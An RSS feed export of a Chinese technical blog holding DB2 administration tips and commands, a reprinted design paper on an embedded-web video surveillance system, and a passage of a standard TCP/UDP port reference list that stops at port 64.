<p align=left><span>获取实例的配置参数</span></p>
<p align=left><span>$ db2 GET DBM CFG SHOW DETAIL</span></p>
<p align=left><span>导出数据库完整的定义到脚本文件，包括表，视图，函数，数据库参数等</span></p>
<p align=left><span>$ db2look -d sample</span><span>（数据库）<span> -a -e -l -x -m -f -o</span>（参数）<span>samplesql.out</span>（输出文件）</span></p>
<p align=left><span>load </span><span>一个表的数据时，有可能导致表空间处于<span>backup pending</span>（<span>0x0020</span>）状态。比如把整形数据<span>load</span>到<span>double</span>型的字段中。<span><br></span>处于<span>backup pending</span>状态的表空间不能被访问。<span><br></span>可以通过对此表空间运行一次<span>backup</span>操作，恢复到正常状态（<span>0x0</span>）。<span><br><br></span>对于自增字段，可以通过两种方式指定：</span></p>
<p align=left><span>generated by default as identity<br>generated always as identity</span></p>
<p align=left><span>区别是，第一种方式在插入数据时允许手工指定自增字段的值，只要不重复即可，并且数据库会自动设置下一个值；<span><br></span>第二种方式则不允许指定，只能由数据库自动分配并插入。<span><br><br><br>DB2 sql</span>语句中转义符的使用：</span></p>
<p align=left><span>select * from t1 where a like '%abc\%def' escape '\';</span></p>
<p align=left><span>创建数据库时，出现<span>SQL<st1:chmetcnv w:st="on" UnitName="C" SourceValue="1043" HasSpace="False" Negative="False" NumberType="1" TCSC="0">1043C</st1:chmetcnv></span>错误，可能的问题：<span><br></span>指定容器所在的磁盘空间不足，<span><br></span>当容器为<span>file</span>类型时，后面的<span>long-num</span>参数不对，比如<span>25600</span>代表<span>256Mb</span>，但如果指定<span>256</span>则会导致以上错误。<span><br><br><br></span>平台<span> RH Linux 8<br>DB2 UDB v8.1<br></span>在<span>WAS 5</span>中建立到<span>db2</span>的数据源，但连接失败，返回以下错误：</span></p>
<p align=left><span>[Servlet Error]-[SQLConnect]: java.lang.UnsatisfiedLinkError: SQLConnect</span></p>
<p align=left><span>原因是没有为运行<span>was</span>服务的用户设置以下环境变量：</span></p>
<p align=left><span>D_LIBRARY_PATH<br>LIBPATH<br>DB2INSTANCE<br>...</span></p>
<p align=left><span>以上环境变量定义在<span> $INSTHOME/sqllib/db2profile</span>文件中，可以采用的解决方案：</span></p>
<p align=left><span>$ sh stopServer.sh servername<br><br>$ . $INSTHOME/sqllib/db2profile<br>$ sh startServer.sh servername</span></p>
<p align=left><span>也可以把<span>db2profile</span>放到<span>was</span>启动脚本中首先执行。<span><br><br></span>如果只设置了<span>LD_LIBRARY_PATH</span>，<span>LIBPATH</span>两个环境变量，<span>DB2</span>会返回以下错误：</span></p>
<p align=left><span>CLI0600E Invalid connection handle or connection is closed.<br>SQLSTATE S1000</span></p>
<p align=left><span>对应于<span>Oracle</span>的<span>Job</span>包功能，<span>DB2</span>通过一个<span>GUI</span>工具－任务中心（<span>task center</span>）实现。使用任务中心前需要进行必要的工具设置，需要创建一些数据库对象，可以创建在已有的一个数据库中，也可以单独创建一个数据库。通过以下命令实现：</span></p>
<p align=left><span>create catalog tools schema_name create new database db_name</span></p>
<p align=left><span>此命令为编目工具创建一个名为<span>db_name </span>的数据库，并指定了一个模式名。<span><br></span>注意：无法用<span>using </span>子句指定一个<span>codeset</span>，系统会默认使用<span>ISO8859-1</span>字符集。<span><br><br><br>Quest Center for DB2</span>带有数据库性能诊断功能，动态监视<span>db</span>内存，磁盘<span>io, </span>表空间，负载等等。<span><br><br>DB2</span>客户端的类型：</span></p>
<ul type=disc>
    <li><span>DB2</span><span>运行时客户端<span> DB2 Runtime Client</span></span></li>
    <li><span>DB2</span><span>管理客户端<span> DB2 Administrator Client</span>（包含运行时客户端的所有内容）</span></li>
    <li><span>DB2</span><span>应用程序开发客户端<span> DB2 Application Development Client</span>（包含管理客户端的所有内容）</span></li>
    <li><span>DB2</span><span>瘦客户端<span> DB2 Thin Client</span></span></li>
    <li><span>DB2 Relational Connect </span><span>联邦数据库，用于连接异种数据库。</span></li>
</ul>
<p align=left><span>强制断开已有连接，停止实例并删除。</span></p>
<p align=left><span>$ db2idrop -f instance_name </span></p>
<p align=left><span>用于在<span>UNIX</span>下迁移实例。</span></p>
<p align=left><span>$ db2imigr instance_name </span></p>
<p align=left><span>更新实例，用于实例获得一些新的产品选项或修订包的访问权。</span></p>
<p align=left><span>$ db2iupdt instance_name </span></p>
<p align=left><span>获取当前所处的实例。</span></p>
<p align=left><span>$ db2 get instance </span></p>
<p align=left><span>当更新实例级别或数据库级别的参数后，有些可以立即生效，有些需要重新启动实例才可生效。<span>immediate </span>显式指明更改立即生效，<span>deferred </span>显式指明更改在重起实例后生效。<span><br><br></span>当需要配置许多台客户机与<span>DB2</span>服务器的连接时，可以用配置助手将服务器的概要文件导出，然后在每个客户机使用配置助手导入概要文件。若客户端只安装了运行时客户端，则可以使用以下命令导入概要文件。</span></p>
<p align=left><span>$ db2cfimp access_profile_name</span></p>
<p align=left><span>疑问：是否应该由已配置好的一台客户机导出概要文件？</span></p>
<p align=left><span>列出所有的数据库连接</span></p>
<p align=left><span>$ db2 list applications </span></p>
<p align=left><span>终止指定的连接句柄，事务被中断并回滚。同时操作多个句柄可以用逗号分开，或者指定关键字<span> all</span>。此命令只终止指定的连接，不会阻止新的应用连接到数据库。</span></p>
<p align=left><span>$ db2 force application (2) </span></p>
<p align=left><span>创建数据库时可以指定排序方式：</span></p>
<p align=left><span>collate using identity</span></p>
<p align=left><span>系统模式集是和每个数据库一起创建的，并且它们被放置到<span> SYSCATSPACE </span>表空间中。</span></p>
<ul type=disc>
    <li><span>SYSIBM</span><span>：基本系统目录，建议不要进行直接访问</span></li>
    <li><span>SYSCAT</span><span>：<span>PUBLIC </span>被授予该模式的<span> SELECT </span>权限，对只读视图编目，这是获取目录信息的推荐方式</span></li>
    <li><span>SYSSTAT</span><span>：可更新的目录视图 － 影响优化器</span></li>
    <li><span>SYSFUN</span><span>：用户定义的函数</span></li>
</ul>
<p align=left><span>如果表中的现有行不满足约束，则不能定义该约束。可以关闭约束检查以加快大量数据的添加，但是该表处于检查暂挂（<span>CHECK PENDING</span>）状态。<span><br><br></span>在创建表时，可以使用选项来指定一个或多个表空间，表和索引将被放置到其中：</span></p>
<p align=left><span>CREATE TABLE TEST (<br>column 1 definition, column 2 definition, ...<br>) IN &lt;tablespace name&gt; INDEX IN &lt;index space name&gt;</span></p>
<p align=left><span>这条命令为您提供了一个选项：指定创建表和索引的位置。如果没有指定单独的索引表空间，那么将在表所在的同一表空间中创建索引。创建表之后，就没有机会在不同的表空间中创建索引了。创建索引要提前作规划！</span></p>
<p align=left><span>CREATE &lt;UNIQUE&gt; INDEX &lt;index name&gt; ON &lt;table name&gt;<br>(<br>column 1 &lt;ASC | DESC&gt; ,<br>column 2 &lt;ASC | DESC&gt; ...<br>)</span></p>
<p align=left><span>UNIQUE </span><span>属性告诉<span> DB2</span>，索引必须强制所有插入值的唯一性。<span><br></span>如果结果集是以升序和降序两种方式排序的，<span>ALLOW REVERSE SCANS </span>会告诉<span> DB2 </span>在索引中包括附加的指针，以允许在记录中有效地进行正向和反向链接。<span><br><br>DB2 </span>能够向正在创建的索引中添加另外的列。<span>CREATE INDEX </span>命令允许用户指定那些不属于实际索引但因为性能原因而保存在索引记录中的列。</span></p>
<p align=left><span>CREATE UNIQUE INDEX ON EMPLOYEE (EMPNO) INCLUDE (LASTNAME,FIRSTNAME)</span></p>
<p align=left><span>对于索引中包含的列而言，索引必须是<span> UNIQUE </span>的。当创建索引时，另外的列被添加到索引值中。索引不使用这些值进行排序或确定唯一性，但可以在满足<span> SQL </span>查询时使用它们。例如，下列<span> SELECT </span>语句将不需要读取实际数据行：</span></p>
<p align=left><span>SELECT LASTNAME, FIRSTNAME FROM EMPLOYEE WHERE EMPNO &lt; '000300'</span></p>
<p align=left><span>要在表上创建群集索引，将<span> CLUSTER </span>关键字附加到<span> CREATE INDEX </span>命令的末尾，例如：</span></p>
<p align=left><span>CREATE INDEX <st1:place w:st="on"><st1:city w:st="on">DEPTS-IX</st1:city> <st1:state w:st="on">ON</st1:state></st1:place> EMPLOYEE(WORKDEPT) CLUSTER</span></p>
<p align=left><span>使用下列通用规则来决定为表定义的索引的经典数量。索引数量取决于数据库的主要用途：<span><br></span>对于在线事务处理（<span>OLTP</span>）环境，创建一到两个索引。<span><br></span>对于混合查询和<span> OLTP </span>环境，创建两到五个索引。<span><br></span>对于只读查询环境，创建五个以上索引。<span><br><br></span>在<span>Windows</span>平台上的<span>DB2</span>的命令行模式下，或者在类<span>Unix</span>平台下，使用命令<span>db2cc</span>启动控制中心。<span><br><br>db2move</span>提供了在数据库之间批量移动数据的能力，可以指定某个表，也可以指定整个数据库的表。</span></p>
<p align=left><span>$ db2move dbname action</span></p>
<p align=left><span>action </span><span>可以指定为：<span>export, import</span>或者<span>load<br></span>使用<span> -l </span>参数指定<span>lob</span>对象存储的文件夹<span><br><br></span>执行增量备份要求设置数据库配置参数<span>&#8220;trackmod&#8221;</span>的值为<span>&#8220;YES&#8221;<br></span>执行在线备份要求设置数据库配置参数<span>&#8220;logretain&#8221;</span>的值为<span>&#8220;YES&#8221;</span>，在线备份语法：</span></p>
<p align=left><span>$ db2 backup db dbname online to path</span></p>
<p align=left><span>当删除了<span>das</span>用户的<span>home</span>目录，未先<span>drop</span>掉<span>das</span>服务，则再执行<span>dasdrop</span>则不成功，提示：<span><br>db2admin </span>命令无法找到，原因是<span>db2admin</span>命令保存在<span>das</span>的<span>home</span>目录中。<span><br></span>可以删除干净<span>das</span>用户的<span>home</span>目录后，重起服务器解决此问题。</span></p>
<p align=left><span>$ dasupdt dasName </span><span>升级<span>das<br>$ db2iupdt instName </span>升级实例<span><br>$ db2licd end </span>停止许可证守护进程</span></p>
<p align=left><span>在<span>Linux</span>系统安装<span>DB2 V8.1</span>后，<span>db2fmcd</span>进程会自动启动，即使不启动实例和<span>DAS</span>，<span><br><br></span>在中文<span>Linux</span>环境下安装了<span>DB2</span>数据库服务，并使用<span>GBK</span>代码页（<span>codepage</span>）创建了一个数据库，完成后可以正常连接操作，若更改操作系统代码页为英语，则使用<span>&#8220;db2 connect&#8221;</span>时会报错，连接时无法转换代码页。</span></p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32143.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 15:12 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32143.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>db2个人版快速入门</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32127.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 20 Aug 2007 16:47:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32127.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32127.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32127.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32127.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32127.html</trackback:ping><description><![CDATA[<a href="http://www.cnitblog.com/Files/szdlinxie/db2AA.pdf">/Files/szdlinxie/db2AA.pdf</a>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32127.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 00:47 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32127.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>db2安装配置补遗</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32125.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 20 Aug 2007 16:44:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32125.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32125.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32125.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32125.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32125.html</trackback:ping><description><![CDATA[<a href="http://www.cnitblog.com/Files/szdlinxie/db2C.pdf">/Files/szdlinxie/db2C.pdf</a>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/32125.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-08-21 00:44 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32125.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>基于嵌入式WEB的网络视频监控系统的设计与实现</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20761.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Tue, 19 Dec 2006 02:29:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20761.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20761.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20761.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20761.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20761.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="0" width="558" border="0">
				<tbody>
						<tr>
								<td valign="center" align="right" colspan="2" height="32">
										<div class="style7" align="center">
												<span style="FONT-SIZE: 12pt">
														<b>基于嵌入式WEB的网络视频监控系统的设计与实现</b>
												</span>
										</div>
								</td>
						</tr>
						<tr>
								<td valign="center" align="right" bgcolor="#000000" colspan="2" height="1">
								</td>
						</tr>
						<tr>
								<td valign="center" align="right" colspan="2" height="20">
										<div align="center"> </div>
								</td>
						</tr>
						<tr>
								<td valign="top" align="right" colspan="2" height="10">
								</td>
						</tr>
						<tr>
								<td valign="top" align="right" width="2%" height="10">
										<div align="left">
										</div>
								</td>
								<td valign="top" align="right" width="98%" bgcolor="#ffffff">
										<div class="daxiao14" align="left">
												<p class="main">
														<strong>   </strong>
														<strong>摘 </strong>
														<strong>
														</strong>
														<strong>要 </strong>本文介绍了一个基于嵌入式WEB技术的网络视频监控系统的设计与实现，重点阐述其嵌入式服务器软硬件部分的设计思想和体系架构，并对其中涉及的若干关键技术进行了较为详细的介绍。</p>
												<p class="main">
														<strong>
																<strong>   </strong>
																<strong>
																</strong>关键词 </strong>嵌入式系统 网络视频监控 LINUX WEB MPEG-4</p>
												<p class="main">
														<strong>
																<strong>   </strong>
																<strong>
																</strong>1 </strong>
														<strong>基于嵌入式WEB技术的网络视频监控系统概述</strong>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>目前，以网络为基础的数字视频监控系统是视频监控系统发展的主流，而随着微处理器技术、计算机网络技术的进步，基于嵌入式WEB的网络视频监控系统逐渐得到了人们的广泛关注，其主要原理是：嵌入式视频服务器采用嵌入式实时操作系统，内置嵌入式WEB服务器，摄像机传送过来的视频信号经高效压缩芯片压缩后，通过内部总线传送到内置的WEB服务器。用户在监控端可以直接通过浏览器观看WEB服务器上的摄像机视频图像，授权用户还可以控制摄像机云台镜头的动作。本文所述的监控系统的原理图如图1所示。</p>
												<p align="center">
														<img height="331" src="http://www.51testing.com/ddimg/uploadimg/20051205/1211450.gif" width="430" />
												</p>
												<p align="center">图 1 嵌入式视频监控系统示意图</p>
												<p class="main">本系统由摄像机、嵌入式WEB服务器、传输网络和监控端组成。摄像机用来采集监控现场的视频。嵌入式WEB服务器是整个监控系统的核心，有硬件和软件两个部分，详细结构将在下面分别介绍。其主要功能包括：为监控端提供WEB访问页面；对监控端的访问进行有效性、安全性检查；响应监控端的请求，为监控端提供所需要的视频图像；接收监控端的控制信息，经过软硬件转换后对摄像机进行控制。每个服务器有自己的IP地址，在监控端可以通过浏览器界面访问服务器。监控端的功能则是显示现场视频，并根据需要向服务器发送视频请求以及对摄像机的控制信号。</p>
												<p class="main">
														<strong>
														</strong>
														<strong>
																<strong>   </strong>
																<strong>
																</strong>2 </strong>
														<strong>嵌入式 </strong>
														<strong>WEB </strong>
														<strong>服务器的硬件结构 </strong>
												</p>
												<p class="main">嵌入式WEB服务器的硬件结构如图2所示。其主要由CPU芯片、MPEG-4音视频编码芯片、Flash芯片、SDRAM内存、以太网络接口、大容量硬盘组成。其中CPU采用MOTOROLA公司的PowerPC系列嵌入式通信处理器MPC8250。MPEG-4音视频编码芯片完成对从摄像头传送过来的视频数据的压缩和编码。根据网络带宽、拓扑结构以及对图像质量的要求，本系统选用基于MPEG-4标准的分层可扩展性编码方案。压缩后的视频数据根据需要，可以存储在大容量硬盘中，或者通过以太网进行网络传输。为了实现视频存储功能，需要采用大容量的硬盘。</p>
												<p align="center">
														<img height="357" src="http://www.51testing.com/ddimg/uploadimg/20051205/1211451.gif" width="558" />
												</p>
												<p align="center">图 2 嵌入式 WEB 服务器的硬件结构 </p>
												<p class="main">
														<strong>
																<strong>   </strong>
																<strong>
																</strong>3 </strong>
														<strong>嵌入式 </strong>
														<strong>WEB </strong>
														<strong>服务器的软件系统</strong>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>嵌入式WEB服务器的软件设计与实现是本系统实现的关键之一，包括嵌入式操作系统与应用软件两大部分。 <strong></strong></p>
												<p class="main">
														<strong>
																<strong>   </strong>
																<span class="style17">
																		<font color="#0000ff">3.1 </font>
																</span>
														</strong>
														<span class="style17">
																<strong>
																		<font color="#0000ff">嵌入式操作系统</font>
																</strong>
														</span>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>嵌入式操作系统是支持嵌入式系统应用的操作系统软件，是在系统实时性、硬件相关性、软件固态化等方面有着突出特点的专用操作系统。本系统采用嵌入式LINUX操作系统，它是在根据系统需要对LINUX操作系统进行小型化裁剪与实时化的基础上实现的。使用LINUX的优势在于：其操作系统的源代码是开放的，可根据需要进行定制；系统内核小，因而对硬件的要求相对要低；支持多任务多进程，能提供较好的实时性。</p>
												<p class="main">
														<strong>
																<strong>   </strong>
																<span class="style17">
																		<font color="#0000ff">3.2 </font>
																</span>
														</strong>
														<span class="style17">
																<strong>
																		<font color="#0000ff">应用软件 </font>
																</strong>
														</span>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>服务器的应用软件结构如图3所示。其主要由WEB服务器、CGI程序、嵌入式数据库mSQL、视频调度与传输模块、存储管理与调度模块、摄像机控制模块等几个重要部分组成。</p>
												<p class="main">
														<strong>   </strong>
														<span class="style18">
																<strong>
																		<font color="#ff0000">3.2.1 WEB服务器与CGI程序</font>
																</strong>
														</span>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>WEB服务器通过HTTP协议与监控端浏览器软件进行信息交互，提供其他应用程序模块的接口以及视频数据浏览界面和摄像机控制界面。此外，它还要对监控端的访问权限进行控制，过滤监控端的请求和控制信息，处理多个监控端的请求和控制的同步和优先级问题。 本系统选择适合于嵌入式系统的Boa WEB服务器。Boa是一个单任务的HTTP服务器，支持能够实现动态WEB技术的CGI技术，源代码开放、性能高。同时服务器程序本身所占空间很小，因而十分适用于嵌入式系统。 同时，本系统采用了CGI(公用网关接口) 来实现动态WEB技术，CGI规定了WEB服务器调用其他可执行程序(CGI程序)的接口协议标准。WEB服务器通过调用CGI程序实现和浏览器的交互，也就是CGI程序接受浏览器发送给WEB服务器的信息，进行处理，将响应结果再回送给WEB服务器及浏览器。原则CGI程序可以用任何程序设计语言编写，但是用C语言编写的CGI程序具有执行速度快、安全性高等特点。</p>
												<p align="center">
														<img height="373" src="http://www.51testing.com/ddimg/uploadimg/20051205/1211452.gif" width="414" />
												</p>
												<p align="center">图3 嵌入式 WEB 服务器的应用软件结构</p>
												<p class="main">
														<strong>   </strong>
														<span class="style18">
																<strong>
																		<font color="#ff0000">3.2.2嵌入式数据库mSQL </font>
																</strong>
														</span>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>在本系统中，用户信息的存储，用户的登录登出，视频设备参数的存储与查询，视频文件的存储与查询等，都需要一个嵌入式数据库。综合考虑，本系统使用mSQL(MiniSQL)作为本系统的后台数据库。mSQL是一款优秀的嵌入式数据库，体系结构小巧，占用系统资源少，特别适合在嵌入式Linux系统中使用。同时，mSQL提供专门的API函数，使得用C语言编写的CGI程序可以与mSQL的数据库引擎进行通信。</p>
												<p class="main">
														<strong>   </strong>
														<span class="style18">
																<strong>
																		<font color="#ff0000">3.2.3视频调度与传输模块</font>
																</strong>
														</span>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>视频调度与传输模块为监控端提供所需的实时视频信息，是服务器应用软件中最重要的模块。该模块根据所采取的网络传输与控制协议与监控端建立连接，监听监控端的请求；同时又根据不同的服务类型采取相应的调度策略创建视频流，然后将视频数据分组、打包，发送到监控端，并根据路由器和监控端反馈的网络状态信息进行差错处理和拥塞控制。</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>视频数据的传输一般采UDP网络通讯协议，而采用UDP的IP传送方式有点播、广播和组播三种，其中组播是服务器只向特定的用户组发送一个数据包，组中的各用户可以共享这一数据包，而组外的用户却无法接收到。本系统采用IP组播方式，采用组播技术的优点有以下几点:可以让服务器承担大量客户端的视频数据播送要求;由于数据包拷贝数量和发送目的地址少，大大减少了网络中传输的数据总量，从而保证较高的服务质量；减小了视频数据流传输的带宽占用，减轻了服务器的负担。</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>本系统采用的网络传输协议使用RTP/UDP/IP模型。RTP协议是一种提供端对端的实时媒体传输服务的协议，由实时传输协议RTP和实时传输控制协议RTCP两个部分组成。RTP用于实时视频数据的传输，而RTCP则用来监控实时视频数据的传输。RTP/UDP/IP的方式兼顾了视频传输的实时性与QoS保证。同时针对传输网络状况的不确定性，还可以采取一定的拥塞控制和差错控制策略。</p>
												<p class="main">
														<strong>   </strong>
														<span class="style18">
																<strong>
																		<font color="#ff0000">3.2.4存储管理与调度模块 </font>
																</strong>
														</span>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>存储管理模块的主要功能是将压缩和编码后的视频信息根据一定的策略存储至磁盘中特定的区域，并将视频文件信息存储到嵌入式数据库中，以供检索与回放，同时响应视频调度与传输模块的请求，按照一定的磁盘调度策略和优先级顺序从磁盘中读取视频数据至内存缓冲区。对于存储管理，本系统采用等长分组存储策略，即将视频信息按照时序关系分割成若干数据单元，这些数据单元称为分组，将每个分组存储于一个大小固定的存储单元内。</p>
												<p class="main">
														<strong>   </strong>
														<span class="style18">
																<strong>
																		<font color="#ff0000">3.2.5摄像机控制模块 </font>
																</strong>
														</span>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>摄像机控制模块主要实现对摄像机的控制。在监控端，用户通过浏览器向WEB服务器发送摄像机控制命令，该控制命令经WEB服务器接受和处理后，再通过CGI程序发送给摄像机控制模块，然后被转换成相应的对摄像机控制的硬件操作指令，从而实现对摄像机云台镜头的远程控制。</p>
												<p class="main">
														<strong>
																<strong>   </strong>
																<strong>
																</strong>4 </strong>
														<strong>监控端浏览</strong>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>本系统在监控端使用浏览器对监控现场进行监控，浏览器所运行的平台与嵌入式WEB服务器所运行的平台独立，浏览远程视频时不需要任何第三方软件，从而实现了跨平台。使用本系统在监控端浏览视频的界面如图4所示。</p>
												<p align="center">
														<img height="348" src="http://www.51testing.com/ddimg/uploadimg/20051205/1211453.gif" width="462" />
												</p>
												<p align="center">图 4 监控端浏览视频界面</p>
												<p class="main">
														<strong>
																<strong>   </strong>
																<strong>
																</strong>5 </strong>
														<strong>结束语 </strong>
														<strong>
														</strong>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>本文介绍了一个基于嵌入式WEB技术的网络视频监控系统的设计与实现，与传统的网络视频监控系统相比，本系统的主要特点在于：服务器的设计基于嵌入式WEB技术；支持动态IP，可以直接连入以太网，能够即插即看；用户无需使用专用软件，仅用浏览器即可观看；同时系统采用先进了的MPEG-4编码标准，在提高了视频质量的同时大大减少了数据量。相信随着网络视频监控的流行，基于嵌入式WEB的网络视频监控系统必将有良好的发展前景。</p>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20761.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-19 10:29 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20761.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>端口大全</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20760.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Tue, 19 Dec 2006 02:25:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20760.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20760.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20760.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20760.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20760.html</trackback:ping><description><![CDATA[
		<div class="style7" align="center">
				<span style="FONT-SIZE: 12pt">
						<b>
								<table cellspacing="0" cellpadding="0" width="558" border="0">
										<tbody>
												<tr>
														<td valign="center" align="right" colspan="2" height="32">
																<div class="style7" align="center">
																		<span style="FONT-SIZE: 12pt">
																				<b>端口大全</b>
																		</span>
																</div>
														</td>
												</tr>
												<tr>
														<td valign="center" align="right" bgcolor="#000000" colspan="2" height="1">
														</td>
												</tr>
												<tr>
														<td valign="center" align="right" colspan="2" height="20">
																<div align="center">文章出处：http://www.programfan.com/ 作者：不详 发布时间：2005-11-23</div>
														</td>
												</tr>
												<tr>
														<td valign="top" align="right" colspan="2" height="10">
														</td>
												</tr>
												<tr>
														<td valign="top" align="right" width="2%" height="10">
																<div align="left">
																</div>
														</td>
														<td valign="top" align="right" width="98%" bgcolor="#ffffff">
																<div class="daxiao14" align="left">1　tcpmux　TCP Port Service Multiplexer 传输控制协议端口服务多路开关选择器 <br />2　compressnet　Management Utility　　　　 compressnet 管理实用程序 <br />3　compressnet　Compression Process　　　　压缩进程 <br />5　rje　Remote Job Entry　　　　　　　　　 远程作业登录 <br />7　echo　Echo　　　　　　　　　　　　　　　回显 <br />9　discard　Discard　　　　　　　　　　　　丢弃 <br />11　systat　Active Users　　　　　　　　　 在线用户 <br />13　daytime　Daytime　　　　　　　　　　　 时间 <br />17　qotd　Quote of the Day　　　　　　　　 每日引用 <br />18　msp　Message Send Protocol　　　　　　 消息发送协议 <br />19　chargen　Character Generator　　　　　 字符发生器 <br />20　ftp-data　File Transfer [Default Data]　文件传输协议(默认数据口)　 <br />21　ftp　File Transfer [Control]　　　　　　文件传输协议(控制) <br />22　ssh　SSH Remote Login Protocol　　　　 SSH远程登录协议 <br />23　telnet　Telnet　　　　　　　　　　　　 终端仿真协议 <br />24　?　any private mail system　　　　　　 预留给个人用邮件系统 <br />25　smtp　Simple Mail Transfer　　　　　　 简单邮件发送协议 <br />27　nsw-fe　NSW User System FE　　　　　　 NSW 用户系统现场工程师 <br />29　msg-icp　MSG ICP　　　　　　　　　　　 MSG　ICP <br />31　msg-auth　MSG Authentication　　　　　 MSG验证 <br />33　dsp　Display Support Protocol　　　　　显示支持协议 <br />35　?　any private printer server　　　　　预留给个人打印机服务 <br />37　time　Time　　　　　　　　　　　　　　 时间 <br />38　rap　Route Access Protocol　　　　　　 路由访问协议 <br />39　rlp　Resource Location Protocol　　　　资源定位协议 <br />41　graphics　Graphics　　　　　　　　　　 图形 <br />42　nameserver　WINS Host Name Server　　　WINS 主机名服务 <br />43　nicname　Who Is　　　　　　　　　　　　"绰号" who is服务 <br />44　mpm-flags　MPM FLAGS Protocol　　　　　MPM(消息处理模块)标志协议 <br />45　mpm　Message Processing Module [recv]　消息处理模块　 <br />46　mpm-snd　MPM [default send]　　　　　　消息处理模块(默认发送口) <br />47　ni-ftp　NI FTP　　　　　　　　　　　　 NI FTP <br />48　auditd　Digital Audit Daemon　　　　　 数码音频后台服务　 <br />49　tacacs　Login Host Protocol (TACACS)　 TACACS登录主机协议 <br />50　re-mail-ck　Remote Mail Checking Protocol　远程邮件检查协议 <br />51　la-maint　IMP Logical Address Maintenance　IMP(接口信息处理机)逻辑地址维护 <br />52　xns-time　XNS Time Protocol　　　　　　施乐网络服务系统时间协议　　 <br />53　domain　Domain Name Server　　　　　　 域名服务器 <br />54　xns-ch　XNS Clearinghouse　　　　　　　施乐网络服务系统票据交换 <br />55　isi-gl　ISI Graphics Language　　　　　ISI图形语言 <br />56　xns-auth　XNS Authentication　　　　　 施乐网络服务系统验证 <br />57　?　any private terminal access　　　　 预留个人用终端访问 <br />58　xns-mail　XNS Mail　　　　　　　　　　 施乐网络服务系统邮件 <br />59　?　any private file service　　　　　　预留个人文件服务 <br />60　?　Unassigned　　　　　　　　　　　　　未定义 <br />61　ni-mail　NI MAIL　　　　　　　　　　　 NI邮件? <br />62　acas　ACA Services　　　　　　　　　　 异步通　 <br />63　whois+ whois+　　　　　　　　　　　　　 WHOIS+ <br />64　